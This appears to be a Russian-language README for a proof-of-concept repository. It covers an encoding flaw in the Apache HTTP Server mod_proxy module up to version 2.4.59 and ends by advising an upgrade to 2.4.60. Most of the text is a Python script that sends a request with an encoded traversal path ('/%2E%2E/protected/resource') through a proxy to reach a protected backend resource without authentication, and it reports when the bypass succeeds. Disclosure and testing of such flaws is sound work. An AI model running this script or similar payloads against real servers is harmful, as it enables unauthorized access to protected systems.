
Доказательство концепции, демонстрирующее ошибку кодирования в Apache HTTP Server mod_proxy, которая может обойти аутентификацию с помощью специально созданных закодированных URL.
Этот репозиторий содержит скрипты доказательства концепции (PoC) для демонстрации проблемы кодирования в модуле mod_proxy Apache HTTP Server версий 2.4.59 и ниже. Эта уязвимость позволяет отправлять URL-адреса запросов с некорректной кодировкой на внутренние сервисы, что потенциально может обойти аутентификацию с помощью специально созданных запросов.
CVE-ID: (Ожидается)
Обзор:
Проблема кодирования в модуле mod_proxy Apache HTTP Server версий 2.4.59 и ниже позволяет отправлять URL-адреса запросов с некорректной кодировкой на внутренние сервисы. Это потенциально может обойти механизмы аутентификации с помощью специально созданных запросов. Пользователям рекомендуется обновиться до версии 2.4.60, в которой эта проблема исправлена.
Затронутые версии:
Исправленная версия:
requests library (pip install requests)Определите внутренний сервис:
http://backend-service.example.com.Создайте вредоносный запрос:
Запустите скрипт PoC:
mod_proxy_poc.py и запустите его.Вот скрипт на Python, демонстрирующий уязвимость:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Конфигурация:
proxy_url: URL прокси-сервера.backend_service_path: Путь к защищённому ресурсу на внутреннем сервисе.malicious_path: Некорректно закодированный путь для обхода аутентификации.send_malicious_request:
Чтобы смягчить эту уязвимость, обновитесь до Apache HTTP Server версии 2.4.60, в которой исправлена проблема кодирования в модуле mod_proxy.
Поддерживая ваше программное обеспечение в актуальном состоянии и следуя лучшим практикам безопасности, вы можете предотвратить уязвимости, такие как эта проблема кодирования в модуле mod_proxy.